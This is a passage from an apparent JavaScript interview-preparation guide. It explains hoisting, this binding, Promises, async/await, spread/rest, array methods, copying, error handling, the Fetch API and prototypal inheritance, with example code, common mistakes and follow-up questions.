var declarations are hoisted and initialized to undefined. let and const declarations are hoisted but placed in a Temporal Dead Zone (TDZ) — accessing them before the declaration line throws a ReferenceError.

Function declarations are fully hoisted — both the name and the function body are available before the declaration. Function expressions and arrow functions assigned to variables follow the hoisting rules of their variable (var/let/const).

// ── var hoisting: initialized to undefined ──
console.log(x); // undefined (not ReferenceError)
var x = 10;
console.log(x); // 10

// What the engine actually does:
// var x = undefined;  ← hoisted
// console.log(x);     → undefined
// x = 10;             ← assignment stays in place
// console.log(x);     → 10

// ── let/const: hoisted but in Temporal Dead Zone ──
// console.log(y); // ReferenceError: Cannot access 'y' before initialization
let y = 20;
console.log(y); // 20

// TDZ exists from block start until declaration
{
    // TDZ for `z` starts here
    // console.log(z); // ReferenceError
    const z = 30;      // TDZ ends here
    console.log(z);    // 30
}

// ── Function declaration: fully hoisted ──
console.log(add(2, 3)); // 5 — works before declaration!
function add(a, b) {
    return a + b;
}

// ── Function expression: NOT fully hoisted ──
// console.log(multiply(2, 3)); // TypeError: multiply is not a function
var multiply = function(a, b) {
    return a * b;
};
// With var: multiply is hoisted as undefined, not as a function
// With let: ReferenceError (TDZ)

// ── Class declarations: hoisted but in TDZ (like let) ──
// const u = new User(); // ReferenceError
class User {
    constructor(name) { this.name = name; }
}
const u = new User("Alice"); // works after declaration

// ── Real-world confusion: function declaration vs expression ──
// This works (declaration):
greetDecl("Alice"); // "Hello, Alice!"
function greetDecl(name) { return `Hello, ${name}!`; }

// This breaks (expression):
// greetExpr("Bob"); // TypeError or ReferenceError
const greetExpr = (name) => `Hello, ${name}!`;

A legacy Node.js project had 50+ functions in a single file, relying on function declaration hoisting to call functions before they were defined. When the team refactored to arrow functions (const fn = () => ...), half the file broke because arrow functions aren't hoisted. They learned to always define before use.

var is hoisted as undefined. let/const are hoisted but in TDZ (ReferenceError if accessed early). Function declarations are fully hoisted. Function expressions follow their variable's rules. Best practice: always declare before use.
⚠️ Common Mistake

Candidates say "let and const are not hoisted" — they ARE hoisted, but they're in the Temporal Dead Zone until the declaration line:

❌ Wrong — "let is not hoisted"
// "let x is not hoisted, so it just doesn't exist yet"
// If it wasn't hoisted, this would look in the outer scope:
let x = "outer";
{
    console.log(x); // ReferenceError, NOT "outer"
    let x = "inner"; // proves x IS hoisted (shadows outer x)
}
✅ Correct — let IS hoisted, but in TDZ
let x = "outer";
{
    // `x` is hoisted here and shadows outer `x`
    // But it's in TDZ until the `let x` line
    // console.log(x); // ReferenceError (TDZ)
    let x = "inner";
    console.log(x); // "inner"
}
🔁 Follow-Up Question

What is the Temporal Dead Zone (TDZ) and why was it introduced?

13 Explain the `this` keyword in different contexts. intermediate

this in JavaScript is determined by how a function is called, not where it's defined. This is different from most languages where this/self always refers to the instance.

5 rules determine this (in order of precedence): 1) new binding (constructor), 2) explicit binding (call/apply/bind), 3) implicit binding (method call: obj.method()), 4) default binding (standalone function: window in browser, undefined in strict mode), 5) arrow function (inherits from enclosing scope — lexical this).

Arrow functions are the exception: they don't have their own this — they capture this from the surrounding code at creation time. This makes them ideal for callbacks but wrong for object methods.

// ── 1. Default binding (standalone call) ──
function showThis() {
    console.log(this);
}
showThis(); // window (browser) / global (Node) / undefined (strict mode)

// ── 2. Implicit binding (method call) ──
const user = {
    name: "Alice",
    greet() {
        console.log(`Hi, I'm ${this.name}`);
    }
};
user.greet(); // "Hi, I'm Alice" — `this` = user

// ── Lost implicit binding ──
const greetFn = user.greet; // extract method
greetFn(); // "Hi, I'm undefined" — `this` is now window/undefined!

// ── 3. Explicit binding (call, apply, bind) ──
function introduce(greeting, punctuation) {
    console.log(`${greeting}, I'm ${this.name}${punctuation}`);
}

const bob = { name: "Bob" };
introduce.call(bob, "Hello", "!");    // "Hello, I'm Bob!"
introduce.apply(bob, ["Hey", "."]);   // "Hey, I'm Bob."

const boundFn = introduce.bind(bob, "Hi");
boundFn("?"); // "Hi, I'm Bob?"
// bind returns a new function with `this` permanently set

// ── 4. new binding (constructor) ──
function Person(name) {
    this.name = name; // `this` = newly created object
}
const alice = new Person("Alice");
console.log(alice.name); // "Alice"

// ── 5. Arrow function (lexical this) ──
const timer = {
    seconds: 0,
    start() {
        // Arrow captures `this` from start() → timer object
        setInterval(() => {
            this.seconds++;
            console.log(this.seconds); // works! this = timer
        }, 1000);
    }
};

// Compare with regular function:
const brokenTimer = {
    seconds: 0,
    start() {
        setInterval(function() {
            this.seconds++; // `this` is window, not brokenTimer!
        }, 1000);
    }
};

// ── this in classes ──
class Button {
    constructor(label) {
        this.label = label;
        // Arrow in constructor captures `this` permanently
        this.handleClick = () => {
            console.log(`Clicked: ${this.label}`);
        };
    }
}
const btn = new Button("Submit");
const handler = btn.handleClick;
handler(); // "Clicked: Submit" — arrow preserves `this`

A React class component had 12 event handlers, each needing this.bind(this) in the constructor. Forgetting one binding caused a production crash — "Cannot read property setState of undefined." The team switched to arrow function class fields, eliminating all manual binding.

this depends on HOW a function is called. Rules (by priority): new > call/apply/bind > obj.method() > standalone. Arrow functions don't have their own this — they inherit it from the enclosing scope.
⚠️ Common Mistake

Candidates extract a method and expect this to remain bound:

❌ Wrong — extracted method loses this
const user = {
    name: "Alice",
    greet() { return `Hi, ${this.name}`; }
};
const fn = user.greet;
fn(); // "Hi, undefined" — this is lost!
✅ Correct — bind or use arrow function
const fn = user.greet.bind(user);
fn(); // "Hi, Alice"

// Or use arrow in class field
class User {
    name = "Alice";
    greet = () => `Hi, ${this.name}`; // always bound
}
🔁 Follow-Up Question

What is the difference between call(), apply(), and bind()? Give an example of each.

14 What are Promises and how do they work? intermediate

A Promise is an object representing the eventual completion or failure of an asynchronous operation. It has three states: pending (initial), fulfilled (success), and rejected (failure). Once settled (fulfilled or rejected), a Promise cannot change state.

You consume promises with .then(onFulfilled), .catch(onRejected), and .finally(onSettled). These methods return new Promises, enabling chaining.

Promise utility methods: Promise.all() (all must succeed), Promise.allSettled() (wait for all regardless), Promise.race() (first to settle), Promise.any() (first to succeed).

// ── Creating a Promise ──
function fetchUserData(userId) {
    return new Promise((resolve, reject) => {
        // Simulating async API call
        setTimeout(() => {
            if (userId > 0) {
                resolve({ id: userId, name: "Alice", email: "alice@example.com" });
            } else {
                reject(new Error("Invalid user ID"));
            }
        }, 1000);
    });
}

// ── Consuming with .then/.catch/.finally ──
fetchUserData(1)
    .then(user => {
        console.log("User:", user.name); // "Alice"
        return fetchUserData(2); // return another Promise → chain
    })
    .then(user2 => {
        console.log("User 2:", user2.name);
    })
    .catch(error => {
        console.error("Failed:", error.message); // handles ANY error in chain
    })
    .finally(() => {
        console.log("Done — cleanup here (runs success or failure)");
    });

// ── Promise.all — parallel execution, fail-fast ──
async function loadDashboard() {
    const [users, orders, stats] = await Promise.all([
        fetch("/api/users").then(r => r.json()),
        fetch("/api/orders").then(r => r.json()),
        fetch("/api/stats").then(r => r.json()),
    ]);
    // All 3 run in parallel — total time = slowest request
    // If ANY fails, the whole Promise.all rejects
    return { users, orders, stats };
}

// ── Promise.allSettled — get results of all, even failures ──
const results = await Promise.allSettled([
    fetch("/api/service-a").then(r => r.json()),
    fetch("/api/service-b").then(r => r.json()), // might fail
    fetch("/api/service-c").then(r => r.json()),
]);
results.forEach(r => {
    if (r.status === "fulfilled") console.log("OK:", r.value);
    if (r.status === "rejected")  console.log("Failed:", r.reason);
});

// ── Promise.race — first to settle wins ──
const result = await Promise.race([
    fetch("/api/data"),
    new Promise((_, reject) =>
        setTimeout(() => reject(new Error("Timeout")), 5000)
    ),
]);
// Either data arrives or timeout fires — whichever comes first

// ── Promise.any — first to succeed (ignores rejections) ──
const fastest = await Promise.any([
    fetch("https://cdn1.example.com/data.json"),
    fetch("https://cdn2.example.com/data.json"),
    fetch("https://cdn3.example.com/data.json"),
]); // first successful response wins

A dashboard loaded 8 API endpoints sequentially (one after another), taking 4.2 seconds. Switching to Promise.all() for 6 independent endpoints (keeping 2 dependent ones sequential) reduced load time to 0.9 seconds — a 4.7x improvement with zero backend changes.

Promises represent async results. Chain with .then().catch(). Use Promise.all() for parallel independent calls, Promise.allSettled() when you need all results regardless of failures, and Promise.race() for timeouts.
⚠️ Common Mistake

Candidates nest .then() calls instead of chaining them (the "Promise hell" anti-pattern):

❌ Wrong — nested promises (callback hell with extra steps)
getUser(1).then(user => {
    getOrders(user.id).then(orders => {
        getItems(orders[0].id).then(items => {
            console.log(items); // deeply nested!
        });
    });
}); // no .catch — errors silently swallowed!
✅ Correct — flat chain or async/await
getUser(1)
    .then(user => getOrders(user.id))
    .then(orders => getItems(orders[0].id))
    .then(items => console.log(items))
    .catch(error => console.error(error)); // catches any error in chain
🔁 Follow-Up Question

What is the difference between Promise.all() and Promise.allSettled()? When would you use each?

15 How does async/await work and how does it relate to Promises? intermediate

async/await is syntactic sugar over Promises that makes asynchronous code look and behave like synchronous code. An async function always returns a Promise. The await keyword pauses execution inside the function until the awaited Promise settles.

Under the hood, await doesn't actually block the thread — it suspends the function and lets other code run. When the Promise resolves, the function resumes from where it paused. This is similar to generators with yield.

Error handling with async/await uses standard try/catch — much more readable than .catch() chains. You can also combine async/await with Promise.all() for parallel execution.

// ── Basic async/await ──
async function getUserProfile(userId) {
    try {
        const response = await fetch(`/api/users/${userId}`);

        if (!response.ok) {
            throw new Error(`HTTP ${response.status}: ${response.statusText}`);
        }

        const user = await response.json();
        console.log(`Loaded: ${user.name}`);
        return user;
    } catch (error) {
        console.error("Failed to load user:", error.message);
        throw error; // re-throw to let caller handle it
    }
}

// ── Sequential vs Parallel ──
// SLOW: sequential (one after another)
async function loadSequential() {
    const users  = await fetch("/api/users").then(r => r.json());   // wait...
    const orders = await fetch("/api/orders").then(r => r.json());  // then wait...
    const stats  = await fetch("/api/stats").then(r => r.json());   // then wait...
    // Total time = sum of all three
    return { users, orders, stats };
}

// FAST: parallel with Promise.all
async function loadParallel() {
    const [users, orders, stats] = await Promise.all([
        fetch("/api/users").then(r => r.json()),
        fetch("/api/orders").then(r => r.json()),
        fetch("/api/stats").then(r => r.json()),
    ]);
    // Total time = slowest of the three
    return { users, orders, stats };
}

// ── Error handling with try/catch ──
async function processPayment(orderId, amount) {
    try {
        const auth = await verifyAuth();
        const balance = await checkBalance(auth.userId);

        if (balance < amount) {
            throw new Error("Insufficient funds");
        }

        const result = await chargeCard(orderId, amount);
        await sendReceipt(result.transactionId);

        return { success: true, transactionId: result.transactionId };
    } catch (error) {
        await logError("payment_failed", { orderId, error: error.message });
        return { success: false, error: error.message };
    } finally {
        // Cleanup: release locks, close connections
        await releasePaymentLock(orderId);
    }
}

// ── Async iteration (for await...of) ──
async function processStream(url) {
    const response = await fetch(url);
    const reader = response.body.getReader();
    const decoder = new TextDecoder();

    while (true) {
        const { done, value } = await reader.read();
        if (done) break;
        console.log(decoder.decode(value));
    }
}

// ── Top-level await (ES2022, modules only) ──
// const config = await fetch("/config.json").then(r => r.json());

A payment processing pipeline had 8 nested .then() chains with error handling scattered across 200 lines. Refactoring to async/await with a single try/catch reduced it to 60 lines, and the team immediately spotted a bug where a failed charge wasn't rolling back the inventory reservation.

async/await is sugar over Promises — same thing, cleaner syntax. async functions return Promises. Use try/catch for errors. Use await + Promise.all() for parallel calls. Don't await sequentially when calls are independent.
⚠️ Common Mistake

Candidates await independent operations sequentially instead of in parallel:

❌ Wrong — sequential awaits for independent calls
async function loadData() {
    const users = await fetchUsers();    // 500ms
    const orders = await fetchOrders();  // 400ms
    const stats = await fetchStats();    // 300ms
    // Total: 1200ms (sequential)
}
✅ Correct — parallel with Promise.all
async function loadData() {
    const [users, orders, stats] = await Promise.all([
        fetchUsers(),    // 500ms ─┐
        fetchOrders(),   // 400ms ─┼─ all run simultaneously
        fetchStats(),    // 300ms ─┘
    ]);
    // Total: 500ms (slowest one)
}
🔁 Follow-Up Question

How do you handle errors in async/await when using Promise.all()? What happens if one promise rejects?

16 What is the spread/rest operator and how is it used? intermediate

The ... syntax serves two purposes depending on context: spread (expands elements) and rest (collects elements).

Spread expands an iterable (array, string, object) into individual elements. Used in: function calls, array literals, and object literals. It creates shallow copies.

Rest collects multiple elements into a single array or object. Used in: function parameters and destructuring. The rest element must always be last.

// ── SPREAD: expanding elements ──

// Array spread
const arr1 = [1, 2, 3];
const arr2 = [4, 5, 6];
const merged = [...arr1, ...arr2];       // [1, 2, 3, 4, 5, 6]
const copy = [...arr1];                  // [1, 2, 3] (shallow copy)
const withExtra = [0, ...arr1, 99];      // [0, 1, 2, 3, 99]

// Object spread
const defaults = { theme: "dark", lang: "en", notifications: true };
const userPrefs = { theme: "light", lang: "es" };
const config = { ...defaults, ...userPrefs };
// { theme: "light", lang: "es", notifications: true }
// Later properties override earlier ones

// Function call spread
const numbers = [5, 2, 8, 1, 9];
console.log(Math.max(...numbers)); // 9 (spreads array into arguments)

// String spread
const chars = [..."hello"]; // ["h", "e", "l", "l", "o"]

// ── REST: collecting elements ──

// Function parameters
function sum(...numbers) {
    return numbers.reduce((total, n) => total + n, 0);
}
console.log(sum(1, 2, 3, 4)); // 10

// Mixed: first params + rest
function logActivity(action, userId, ...details) {
    console.log(`[${action}] User ${userId}: ${details.join(", ")}`);
}
logActivity("LOGIN", 42, "Chrome", "Windows", "2025-01-15");
// "[LOGIN] User 42: Chrome, Windows, 2025-01-15"

// Array destructuring with rest
const [first, second, ...remaining] = [10, 20, 30, 40, 50];
// first = 10, second = 20, remaining = [30, 40, 50]

// Object destructuring with rest
const { name, email, ...metadata } = {
    name: "Alice", email: "a@b.com", role: "admin", joined: "2024"
};
// name = "Alice", email = "a@b.com"
// metadata = { role: "admin", joined: "2024" }

// ── Practical: immutable state updates (React pattern) ──
const state = {
    users: [{ id: 1, name: "Alice" }, { id: 2, name: "Bob" }],
    loading: false,
    error: null,
};

// Add user without mutating state
const newState = {
    ...state,
    users: [...state.users, { id: 3, name: "Charlie" }],
};

// Update specific user without mutating
const updatedState = {
    ...state,
    users: state.users.map(u =>
        u.id === 1 ? { ...u, name: "Alicia" } : u
    ),
};

A Redux codebase had 50+ reducers using Object.assign() for state updates. Migrating to spread syntax made the code 40% shorter and eliminated 8 bugs where Object.assign() was accidentally mutating the source object (passing it as the first argument instead of an empty object).

Spread (...) expands arrays/objects into elements. Rest (...) collects elements into an array/object. Spread creates shallow copies — ideal for immutable state updates. Rest must always be last in destructuring/parameters.
⚠️ Common Mistake

Candidates forget that spread creates only a shallow copy — nested objects are still shared:

❌ Wrong — assuming deep copy
const original = { user: { name: "Alice", scores: [90, 85] } };
const copy = { ...original };
copy.user.name = "Bob"; // mutates original.user.name too!
original.user.name;     // "Bob" — both point to same nested object
✅ Correct — deep copy for nested data
// Option 1: structuredClone (modern, recommended)
const deep = structuredClone(original);

// Option 2: JSON (works for serializable data)
const deep2 = JSON.parse(JSON.stringify(original));

// Option 3: manual spread for known structure
const deep3 = { user: { ...original.user, scores: [...original.user.scores] } };
🔁 Follow-Up Question

What is structuredClone() and how does it compare to JSON.parse(JSON.stringify()) for deep copying?

17 Explain map(), filter(), reduce() with real examples. intermediate

map(), filter(), and reduce() are the three most important array methods for functional-style data transformation. They don't mutate the original array — they return new values.

map(fn): transforms each element, returns a new array of the same length. filter(fn): keeps elements where fn returns truthy, returns a shorter (or equal) array. reduce(fn, initial): accumulates all elements into a single value (number, object, array, etc.).

They're often chained together for data pipelines: filter out unwanted items → transform remaining items → reduce to a summary.

const employees = [
    { name: "Alice", department: "Engineering", salary: 95000, yearsExp: 5 },
    { name: "Bob", department: "Marketing", salary: 72000, yearsExp: 3 },
    { name: "Charlie", department: "Engineering", salary: 110000, yearsExp: 8 },
    { name: "Diana", department: "Engineering", salary: 88000, yearsExp: 4 },
    { name: "Eve", department: "Marketing", salary: 68000, yearsExp: 2 },
    { name: "Frank", department: "Design", salary: 82000, yearsExp: 6 },
];

// ── map(): transform each element ──
const names = employees.map(e => e.name);
// ["Alice", "Bob", "Charlie", "Diana", "Eve", "Frank"]

const raises = employees.map(e => ({
    ...e,
    salary: Math.round(e.salary * 1.10), // 10% raise
}));
// Each object gets a new salary — original array unchanged

// ── filter(): keep matching elements ──
const engineers = employees.filter(e => e.department === "Engineering");
// [Alice, Charlie, Diana]

const senior = employees.filter(e => e.yearsExp >= 5);
// [Alice, Charlie, Frank]

// ── reduce(): accumulate into single value ──
const totalPayroll = employees.reduce((sum, e) => sum + e.salary, 0);
// 515000

// reduce() to build an object (group by department)
const byDept = employees.reduce((groups, e) => {
    const dept = e.department;
    groups[dept] = groups[dept] || [];
    groups[dept].push(e.name);
    return groups;
}, {});
// { Engineering: ["Alice","Charlie","Diana"], Marketing: ["Bob","Eve"], Design: ["Frank"] }

// ── Chaining: data pipeline ──
const engineeringSalaryReport = employees
    .filter(e => e.department === "Engineering")  // keep engineers
    .map(e => ({ name: e.name, salary: e.salary })) // extract fields
    .sort((a, b) => b.salary - a.salary)           // sort by salary desc
    .reduce((report, e, i) => {
        report.employees.push(`${i + 1}. ${e.name}: $${e.salary.toLocaleString()}`);
        report.total += e.salary;
        return report;
    }, { employees: [], total: 0 });

console.log(engineeringSalaryReport);
// {
//   employees: ["1. Charlie: $110,000", "2. Alice: $95,000", "3. Diana: $88,000"],
//   total: 293000
// }

// ── find(), some(), every() — related methods ──
const alice = employees.find(e => e.name === "Alice"); // first match or undefined
const hasMarketing = employees.some(e => e.department === "Marketing"); // true
const allSenior = employees.every(e => e.yearsExp >= 5); // false

An analytics dashboard processed 100K+ event records per page load. A single chained pipeline — filter(validEvents).map(normalize).reduce(aggregate) — replaced 150 lines of nested for-loops, reducing bugs by 60% and making the data pipeline testable with unit tests for each step.

map() transforms (1:1), filter() selects (1:0-or-1), reduce() accumulates (many:1). Chain them for data pipelines. Always provide an initial value to reduce(). Don't use map() for side effects — use forEach() instead.
⚠️ Common Mistake

Candidates forget to return the accumulator in reduce(), or they omit the initial value:

❌ Wrong — forgetting return in reduce
const total = [10, 20, 30].reduce((sum, n) => {
    sum + n; // forgot return! sum is undefined on next iteration
});
// Result: NaN
✅ Correct — always return accumulator + provide initial value
// Arrow with implicit return:
const total = [10, 20, 30].reduce((sum, n) => sum + n, 0);
// 60

// With block body — explicit return:
const total2 = [10, 20, 30].reduce((sum, n) => {
    return sum + n;
}, 0);
🔁 Follow-Up Question

How would you implement map() and filter() using only reduce()?

18 What is the difference between shallow copy and deep copy? intermediate

A shallow copy creates a new object/array but only copies the top-level properties. If a property holds a reference (nested object/array), both the copy and original point to the same nested object — changes to nested data affect both.

A deep copy recursively clones all levels, creating completely independent data. No shared references exist between the original and copy.

JavaScript provides several ways to copy: spread ({...obj}), Object.assign(), Array.from() — all shallow. For deep: structuredClone() (modern), JSON parse/stringify (limited), or libraries like Lodash's _.cloneDeep().

// ── Shallow copy — nested objects are shared ──
const original = {
    name: "Alice",
    scores: [90, 85, 92],
    address: { city: "NYC", zip: "10001" }
};

// Shallow copy methods (all behave the same)
const copy1 = { ...original };
const copy2 = Object.assign({}, original);

// Top-level: independent
copy1.name = "Bob";
console.log(original.name); // "Alice" — unchanged ✅

// Nested: SHARED reference!
copy1.scores.push(100);
console.log(original.scores); // [90, 85, 92, 100] — mutated! ❌

copy1.address.city = "LA";
console.log(original.address.city); // "LA" — mutated! ❌

// ── Deep copy methods ──

// Method 1: structuredClone() (modern, recommended)
const deep1 = structuredClone(original);
deep1.scores.push(100);
console.log(original.scores.length); // 3 — unchanged ✅
deep1.address.city = "LA";
console.log(original.address.city);  // "NYC" — unchanged ✅

// Method 2: JSON (works for serializable data only)
const deep2 = JSON.parse(JSON.stringify(original));
// ⚠️ Limitations: loses undefined, functions, Dates become strings,
//    NaN becomes null, no circular references, no Map/Set/RegExp

// Method 3: manual recursive clone
function deepClone(obj) {
    if (obj === null || typeof obj !== "object") return obj;
    if (Array.isArray(obj)) return obj.map(item => deepClone(item));
    return Object.fromEntries(
        Object.entries(obj).map(([key, val]) => [key, deepClone(val)])
    );
}

// ── Comparison table ──
// | Method           | Depth   | Speed  | Limitations                    |
// |------------------|---------|--------|--------------------------------|
// | spread / assign  | Shallow | Fast   | Nested refs shared             |
// | JSON roundtrip   | Deep    | Medium | No functions, Dates, undefined |
// | structuredClone  | Deep    | Medium | No functions, DOM nodes        |
// | Lodash cloneDeep | Deep    | Slow   | External dependency            |

// ── Practical: React state update ──
const state = {
    users: [
        { id: 1, name: "Alice", prefs: { theme: "dark" } },
        { id: 2, name: "Bob", prefs: { theme: "light" } },
    ]
};

// Update user 1 theme (immutable pattern)
const newState = {
    ...state,
    users: state.users.map(u =>
        u.id === 1
            ? { ...u, prefs: { ...u.prefs, theme: "light" } }
            : u
    )
};

A Redux store held 10K product objects. A reducer used spread ({...product}) to "copy" products, but the nested variants array was shared. Editing one product's variant modified every product that had been copied from the same source. Switching to structuredClone for the reducer's initial copy fixed thousands of phantom inventory changes.

Spread/Object.assign create shallow copies — nested objects are still shared. Use structuredClone() for deep copies. For React/Redux state updates, manually spread each nesting level or use Immer.
⚠️ Common Mistake

Candidates assume spread or Object.assign creates a deep copy:

❌ Wrong — spread is shallow
const original = { settings: { darkMode: true } };
const copy = { ...original };
copy.settings.darkMode = false;
console.log(original.settings.darkMode); // false — mutation!
✅ Correct — use structuredClone for deep copy
const original = { settings: { darkMode: true } };
const copy = structuredClone(original);
copy.settings.darkMode = false;
console.log(original.settings.darkMode); // true — independent ✅
🔁 Follow-Up Question

What is Immer and how does it simplify immutable updates in React/Redux?

19 How does error handling work with try/catch/finally? intermediate

try/catch/finally is JavaScript's structured error handling mechanism. Code in the try block runs normally. If it throws an error, execution jumps to catch. The finally block runs regardless of success or failure — even if catch throws or if return is used.

You can throw any value (throw new Error("msg"), throw "string", throw 42), but best practice is to always throw Error objects because they include stack traces.

For async code: try/catch works with async/await but NOT with raw .then() chains — use .catch() for those. Unhandled rejections crash Node.js and show console errors in browsers.

// ── Basic try/catch/finally ──
function parseJSON(jsonString) {
    try {
        const data = JSON.parse(jsonString);
        return { success: true, data };
    } catch (error) {
        console.error("Parse failed:", error.message);
        return { success: false, error: error.message };
    } finally {
        console.log("Parse attempt completed"); // always runs
    }
}

console.log(parseJSON('{"name":"Alice"}'));  // { success: true, data: {...} }
console.log(parseJSON("invalid json"));       // { success: false, error: "..." }

// ── Custom Error classes ──
class ValidationError extends Error {
    constructor(field, message) {
        super(message);
        this.name = "ValidationError";
        this.field = field;
    }
}

class NotFoundError extends Error {
    constructor(resource, id) {
        super(`${resource} with id ${id} not found`);
        this.name = "NotFoundError";
        this.resource = resource;
        this.id = id;
    }
}

// ── Typed error handling ──
async function updateUser(id, data) {
    try {
        if (!data.email?.includes("@")) {
            throw new ValidationError("email", "Invalid email format");
        }

        const user = await db.findById(id);
        if (!user) {
            throw new NotFoundError("User", id);
        }

        return await db.update(id, data);
    } catch (error) {
        if (error instanceof ValidationError) {
            return { status: 400, error: `${error.field}: ${error.message}` };
        }
        if (error instanceof NotFoundError) {
            return { status: 404, error: error.message };
        }
        // Unexpected error — log and rethrow
        console.error("Unexpected error:", error);
        throw error;
    }
}

// ── Async error handling ──
async function fetchWithRetry(url, maxRetries = 3) {
    for (let attempt = 1; attempt <= maxRetries; attempt++) {
        try {
            const response = await fetch(url);
            if (!response.ok) {
                throw new Error(`HTTP ${response.status}`);
            }
            return await response.json();
        } catch (error) {
            console.warn(`Attempt ${attempt} failed: ${error.message}`);
            if (attempt === maxRetries) {
                throw new Error(`Failed after ${maxRetries} attempts: ${error.message}`);
            }
            // Wait before retry (exponential backoff)
            await new Promise(r => setTimeout(r, 1000 * attempt));
        }
    }
}

// ── finally for cleanup ──
async function processFile(path) {
    const handle = await openFile(path);
    try {
        const data = await handle.read();
        return transform(data);
    } catch (error) {
        await logError(error);
        throw error;
    } finally {
        await handle.close(); // always close file, success or failure
    }
}

A payment service had bare try/catch blocks that caught all errors and returned generic "Something went wrong" messages. Adding custom error classes (ValidationError, PaymentDeclinedError, NetworkError) with specific HTTP status codes reduced customer support tickets by 35% because users got actionable error messages.

Use try/catch for synchronous and async/await code. Always throw Error objects (not strings). Create custom error classes for different error types. Use finally for cleanup (closing files, releasing locks). Never silently swallow errors.
⚠️ Common Mistake

Candidates catch errors but silently swallow them — hiding bugs:

❌ Wrong — catching and ignoring errors
try {
    const data = await fetchCriticalData();
    processData(data);
} catch (e) {
    // silently swallowed — no logging, no re-throw
    // bug hides here forever
}
✅ Correct — handle, log, or re-throw
try {
    const data = await fetchCriticalData();
    processData(data);
} catch (error) {
    logger.error("Data processing failed", { error, context: "dashboard" });
    showUserNotification("Failed to load data. Please retry.");
    // Re-throw if caller needs to know:
    // throw error;
}
🔁 Follow-Up Question

How does error handling work differently with Promise .catch() vs try/catch with async/await?

20 What is the Fetch API and how do you make HTTP requests? intermediate

The Fetch API is the modern way to make HTTP requests in JavaScript, replacing the older XMLHttpRequest. fetch() returns a Promise that resolves to a Response object. It's available in browsers and Node.js 18+.

Key points: fetch() only rejects on network errors (DNS failure, no internet) — it does NOT reject on HTTP errors like 404 or 500. You must check response.ok or response.status manually. The response body is a stream that you consume with .json(), .text(), .blob(), etc. — each can only be called once.

For POST/PUT/DELETE, pass an options object with method, headers, and body. Use AbortController to cancel requests and implement timeouts.

// ── Basic GET request ──
async function getUsers() {
    const response = await fetch("https://api.example.com/users");

    // fetch() doesn't reject on 404/500 — check manually!
    if (!response.ok) {
        throw new Error(`HTTP ${response.status}: ${response.statusText}`);
    }

    const users = await response.json(); // parse JSON body
    return users;
}

// ── POST request with JSON body ──
async function createUser(userData) {
    const response = await fetch("https://api.example.com/users", {
        method: "POST",
        headers: {
            "Content-Type": "application/json",
            "Authorization": "Bearer " + token,
        },
        body: JSON.stringify(userData),
    });

    if (!response.ok) {
        const error = await response.json();
        throw new Error(error.message || "Failed to create user");
    }

    return response.json();
}

// ── PUT, PATCH, DELETE ──
await fetch(`/api/users/${id}`, {
    method: "PUT",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ name: "Updated Name" }),
});

await fetch(`/api/users/${id}`, { method: "DELETE" });

// ── Request timeout with AbortController ──
async function fetchWithTimeout(url, timeoutMs = 5000) {
    const controller = new AbortController();
    const timeoutId = setTimeout(() => controller.abort(), timeoutMs);

    try {
        const response = await fetch(url, { signal: controller.signal });
        clearTimeout(timeoutId);

        if (!response.ok) throw new Error(`HTTP ${response.status}`);
        return response.json();
    } catch (error) {
        clearTimeout(timeoutId);
        if (error.name === "AbortError") {
            throw new Error(`Request timed out after ${timeoutMs}ms`);
        }
        throw error;
    }
}

// ── Upload FormData (file upload) ──
async function uploadFile(file) {
    const formData = new FormData();
    formData.append("file", file);
    formData.append("folder", "uploads");

    const response = await fetch("/api/upload", {
        method: "POST",
        body: formData, // no Content-Type header — browser sets it with boundary
    });

    return response.json();
}

// ── Reusable fetch wrapper ──
async function api(endpoint, options = {}) {
    const config = {
        headers: {
            "Content-Type": "application/json",
            ...options.headers,
        },
        ...options,
    };

    if (config.body && typeof config.body === "object") {
        config.body = JSON.stringify(config.body);
    }

    const response = await fetch(`https://api.example.com${endpoint}`, config);

    if (!response.ok) {
        const error = await response.json().catch(() => ({}));
        throw new Error(error.message || `HTTP ${response.status}`);
    }

    return response.json();
}

// Usage:
// const users = await api("/users");
// const newUser = await api("/users", { method: "POST", body: { name: "Alice" } });

A frontend team had 200+ fetch calls scattered across the codebase, each with different error handling (some checked response.ok, some didn't). They created a centralized api() wrapper that handled auth tokens, error responses, retries, and timeout. Bug reports from "blank screens" (caused by unchecked 401/500 responses) dropped to zero.

fetch() returns a Promise. It does NOT reject on HTTP errors (404/500) — always check response.ok. Use AbortController for timeouts. Create a wrapper function for consistent error handling, auth headers, and response parsing.
⚠️ Common Mistake

Candidates forget that fetch doesn't reject on HTTP errors:

❌ Wrong — no HTTP error check
try {
    const data = await fetch("/api/users").then(r => r.json());
    renderUsers(data); // might render error HTML from a 404 page!
} catch (e) {
    // Only catches network failures, not 404/500
}
✅ Correct — check response.ok
try {
    const response = await fetch("/api/users");
    if (!response.ok) {
        throw new Error(`HTTP ${response.status}: ${response.statusText}`);
    }
    const data = await response.json();
    renderUsers(data);
} catch (e) {
    showError(e.message); // handles both network and HTTP errors
}
🔁 Follow-Up Question

What is the difference between fetch() and axios? When would you use each?

21 Explain prototypal inheritance and the prototype chain. advanced

JavaScript uses prototypal inheritance — objects inherit directly from other objects, not from classes. Every object has an internal [[Prototype]] link (accessible via Object.getPrototypeOf() or the legacy __proto__ property) pointing to another object.

When you access a property on an object, JavaScript first checks the object itself. If not found, it follows the [[Prototype]] chain — checking the prototype, then the prototype's prototype, and so on until it reaches null. This chain is called the prototype chain.

ES6 class syntax is syntactic sugar over prototypal inheritance — it uses the same prototype mechanism under the hood. class Foo extends Bar sets Foo.prototype.__proto__ to Bar.prototype.

// ── The prototype chain ──
const animal = {
    alive: true,
    breathe() { return "breathing..."; }
};

const dog = Object.create(animal); // dog's prototype → animal
dog.bark = function() { return "Woof!"; };

const puppy = Object.create(dog);  // puppy's prototype → dog
puppy.playful = true;

console.log(puppy.playful);  // true      — own property
console.log(puppy.bark());   // "Woof!"   — found on dog (1 level up)
console.log(puppy.breathe()); // "breathing..." — found on animal (2 levels up)
console.log(puppy.alive);    // true      — found on animal

// Chain: puppy → dog → animal → Object.prototype → null

// ── How class syntax maps to prototypes ──
class Vehicle {
    constructor(make, year) {
        this.make = make;     // own property on instance
        this.year = year;
    }
    describe() {              // goes on Vehicle.prototype
        return `${this.year} ${this.make}`;
    }
}

class Car extends Vehicle {
    constructor(make, year, doors) {
        super(make, year);
        this.doors = doors;
    }
    honk() { return "Beep!"; } // goes on Car.prototype
}

const tesla = new Car("Tesla", 2024, 4);
console.log(tesla.describe()); // "2024 Tesla" — found on Vehicle.prototype
console.log(tesla.honk());    // "Beep!"     — found on Car.prototype

